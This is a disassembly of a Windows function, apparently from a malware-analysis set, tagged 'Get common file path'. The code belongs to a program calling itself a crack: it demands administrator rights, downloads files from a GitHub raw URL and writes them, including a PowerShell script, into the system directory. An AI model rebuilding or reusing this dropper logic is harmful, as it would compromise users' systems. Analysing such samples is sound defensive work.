Function at 0x140006770
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2e0]
sub rsp, 0x3e0
mov rax, qword [0x1400d57c0]
xor rax, rsp
mov qword [rbp + 0x2d0], rax
xor r12d, r12d
call fcn.140006680
test al, al
je 0x1400070f8
mov edx, 0x104
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x198], xmm0
mov qword [rbp + 0x1a8], r12
mov qword [rbp + 0x1b0], r12
lea rax, [rbp + 0x1c0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r12b
jne 0x1400067f0
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x198]
call fcn.140004fb0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], rax
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x70], xmm1
lea r8d, [rax + 0x16]
lea rdx, [0x1400c7258]
lea rcx, [rsp + 0x60]
call fcn.140004fb0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x70], xmm1
mov r8d, reloc.WS2_32.dll_recvfrom
lea rdx, [0x1400c7270]
lea rcx, [rbp - 0x80]
call fcn.140004fb0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x50], xmm1
mov r8d, reloc.WS2_32.dll_ntohs
lea rdx, [0x1400c7288]
lea rcx, [rbp - 0x60]
call fcn.140004fb0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x30], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.set_cmd_default.ps1
lea rcx, [rbp - 0x40]
call fcn.140004fb0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x10], xmm1
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, [0x1400c72b0]
lea rcx, [rbp - 0x20]
call fcn.140004fb0
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], r12
mov ecx, 0xa0
call fcn.140071eb8
mov rbx, rax
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x148], rax
lea rcx, [rax + 0xa0]
mov qword [rbp + 0x150], rcx
lea rax, [rbp + 0x140]
mov qword [rsp + 0x40], rax
lea rdi, [rsp + 0x60]
xorps xmm0, xmm0
movups xmmword [rbp + 0x158], xmm0
mov qword [rbp + 0x158], rbx
mov qword [rbp + 0x160], rbx
lea rax, [rbp + 0x140]
mov qword [rbp + 0x168], rax
nop
mov rdx, rdi
mov rcx, rbx
call fcn.1400031f0
add rbx, 0x20
mov qword [rbp + 0x160], rbx
add rdi, 0x20
lea rax, [rbp]
cmp rdi, rax
jne 0x140006950
mov rdx, rbx
mov rcx, rbx
call fcn.1400092c0
mov qword [rbp + 0x148], rbx
lea r9, [fcn.140003080]
mov edx, 0x20
lea r8d, [rdx - 0x1b]
lea rcx, [rsp + 0x60]
call fcn.140071f20
mov rdi, qword [rbp + 0x140]
mov r15, qword [rbp + 0x148]
cmp rdi, r15
je 0x140006ed3
movabs r13, 0x7fffffffffffffff
lea rbx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
lea r14, vtable.std::ios_base.0
lea rdx, [0x1400c72c8]
mov rax, r13
mov rcx, qword [rbp + 0x1a8]
sub rax, rcx
cmp rax, 1
jb 0x1400071cf
lea r9, [rbp + 0x198]
cmp qword [rbp + 0x1b0], 0xf
cmova r9, qword [rbp + 0x198]
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x40]
call fcn.1400096b0
nop
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x140006a2e
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
lea rcx, [rsp + 0x40]
call fcn.1400041c0
xorps xmm0, xmm0
movups xmmword [rbp + 0x178], xmm0
mov qword [rbp + 0x188], r12
mov qword [rbp + 0x190], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x178], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x188], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140006ab5
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006ab0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000715b
call fcn.140071eb0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x40], 0
mov rcx, qword [rdi + 0x10]
mov rax, r13
sub rax, rcx
cmp rax, 0x39
jb 0x1400071c9
mov rax, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x140006ae9
mov rax, qword [rdi]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], reloc.WS2_32.dll_gethostname
lea r9, str.https:__raw.githubusercontent.com_sopranotech_dimeo_main_
lea rcx, [rbp + 0x158]
call fcn.1400096b0
nop
call fcn.14000db60
mov rsi, rax
test rax, rax
je 0x140006f7e
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x30]
call fcn.1400a51e0
lea rdx, [rbp + 0x178]
cmp qword [rbp + 0x190], 0xf
cmova rdx, qword [rbp + 0x178]
lea rcx, [rbp + 0x30]
call fcn.140008a20
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x30], rbx
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x2c], edx
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0x40], 6
je 0x140006caa
lea rdx, [0x1400c730c]
lea rcx, [0x1400d7370]
call fcn.140004c70
mov rcx, rax
call fcn.140004f20
mov rcx, rsi
call fcn.14000db30
nop
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x30], rbx
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x2c], edx
lea rcx, [rbp + 0x38]
call fcn.140007fe0
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x30], rax
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x2c], edx
mov qword [rbp + 0xd8], r14
lea rcx, [rbp + 0xd8]
call fcn.14007042c
nop
mov rdx, qword [rbp + 0x170]
cmp rdx, 0xf
jbe 0x140006c48
inc rdx
mov rcx, qword [rbp + 0x158]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006c43
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007161
call fcn.140071eb0
mov qword [rbp + 0x168], r12
mov qword [rbp + 0x170], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x158], 0
mov rdx, qword [rbp + 0x190]
cmp rdx, 0xf
jbe 0x140006eb8
inc rdx
mov rcx, qword [rbp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006eb3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007149
jmp 0x140006eb3
lea r8, [rbp + 0x158]
cmp qword [rbp + 0x170], 0xf
cmova r8, qword [rbp + 0x158]
mov edx, 0x2712
mov rcx, rsi
call fcn.140011ec0
lea r8, [0x140006740]
mov edx, 0x4e2b
mov rcx, rsi
call fcn.140011ec0
lea r8, [rbp + 0x30]
mov edx, 0x2711
mov rcx, rsi
call fcn.140011ec0
mov rcx, rsi
call fcn.14000dbd0
mov r14d, eax
lea rdx, [0x1400c637d]
test eax, eax
je 0x140006d64
lea rcx, [0x1400d7370]
call fcn.140004c70
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x140006d22
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.140006380
lea rdx, [0x1400c637d]
mov rcx, rax
call fcn.140004c70
mov rbx, rax
mov ecx, r14d
call fcn.14000e780
mov rdx, rax
mov rcx, rbx
call fcn.140004c70
mov rcx, rax
call fcn.140004f20
lea rbx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
jmp 0x140006d70
lea rcx, [0x1400d71f0]
call fcn.140004c70
lea rcx, [rbp + 0x38]
call fcn.140008900
test rax, rax
jne 0x140006dae
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
mov eax, 6
cmp qword [rbp + rcx + 0x78], 0
mov edx, 2
cmovne eax, edx
or eax, dword [rbp + rcx + 0x40]
and eax, 0x17
mov dword [rbp + rcx + 0x40], eax
and eax, dword [rbp + rcx + 0x44]
jne 0x140007167
mov rcx, rsi
call fcn.14000db30
nop
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x30], rbx
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x2c], edx
lea rcx, [rbp + 0x38]
call fcn.140007fe0
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x30], rax
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x2c], edx
lea r14, vtable.std::ios_base.0
mov qword [rbp + 0xd8], r14
lea rcx, [rbp + 0xd8]
call fcn.14007042c
nop
mov rdx, qword [rbp + 0x170]
cmp rdx, 0xf
jbe 0x140006e5e
inc rdx
mov rcx, qword [rbp + 0x158]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006e59
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400071b7
call fcn.140071eb0
mov qword [rbp + 0x168], r12
mov qword [rbp + 0x170], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x158], 0
mov rdx, qword [rbp + 0x190]
cmp rdx, 0xf
jbe 0x140006eb8
inc rdx
mov rcx, qword [rbp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006eb3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400071bd
call fcn.140071eb0
add rdi, 0x20
cmp rdi, r15
jne 0x1400069ce
mov r15, qword [rbp + 0x148]
mov rdi, qword [rbp + 0x140]
test rdi, rdi
je 0x140006f34
mov rdx, r15
mov rcx, rdi
call fcn.1400092c0
mov rdx, qword [rbp + 0x150]
mov rcx, qword [rbp + 0x140]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006f1d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007155
call fcn.140071eb0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], r12
mov rdx, qword [rbp + 0x1b0]
cmp rdx, 0xf
jbe 0x140007113
inc rdx
mov rcx, qword [rbp + 0x198]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006f74
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007143
call fcn.140071eb0
jmp 0x140007113
lea rdx, [0x1400c637d]
lea rcx, [0x1400d7370]
call fcn.140004c70
mov rcx, rax
call fcn.140004f20
nop
mov rdx, qword [rbp + 0x170]
cmp rdx, 0xf
jbe 0x140006fdb
inc rdx
mov rcx, qword [rbp + 0x158]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006fd6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400071b7
call fcn.140071eb0
mov qword [rbp + 0x168], r12
mov qword [rbp + 0x170], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x158], 0
mov rdx, qword [rbp + 0x190]
cmp rdx, 0xf
jbe 0x140007035
inc rdx
mov rcx, qword [rbp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007030
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400071bd
call fcn.140071eb0
mov qword [rbp + 0x188], r12
mov qword [rbp + 0x190], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x178], 0
mov rcx, qword [rbp + 0x140]
test rcx, rcx
je 0x1400070b7
mov rdx, qword [rbp + 0x148]
call fcn.1400092c0
mov rdx, qword [rbp + 0x150]
mov rcx, qword [rbp + 0x140]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400070a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400071c3
call fcn.140071eb0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], r12
mov rdx, qword [rbp + 0x1b0]
cmp rdx, 0xf
jbe 0x140007113
inc rdx
mov rcx, qword [rbp + 0x198]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006f74
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000714f
jmp 0x140006f74
lea rdx, str.ERROR:_THE_CRACK_IS_NOT_RUNNING_IN_ADMINISTRATOR_MODE_PLEASE_CLOSE_AND_REOPEN_THE_PROGRAM_IN_ADMINISTRATOR_MODE.
lea rcx, [0x1400d71f0]
call fcn.140004c70
mov rcx, rax
call fcn.140004f20
mov rcx, qword [rbp + 0x2d0]
xor rcx, rsp
call fcn.140071e90
lea r11, [rsp + 0x3e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14007dfe8
nop
call fcn.14007dfe8
nop
call fcn.14007dfe8
nop
call fcn.14007dfe8
nop
call fcn.14007dfe8
int3
call fcn.14007dfe8
nop
test al, 4
je 0x140007174
lea rbx, str.ios_base::badbit_set
jmp 0x140007188
test dl, al
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x40]
call fcn.1400019e0
mov r8, rax
mov rdx, rbx
lea rcx, [rbp]
call fcn.1400022f0
lea rdx, [0x1400d2d80]
lea rcx, [rbp]
call fcn.140074128
nop
call fcn.14007dfe8
nop
call fcn.14007dfe8
nop
call fcn.14007dfe8
nop
call fcn.140001910
nop
call fcn.140001910
int3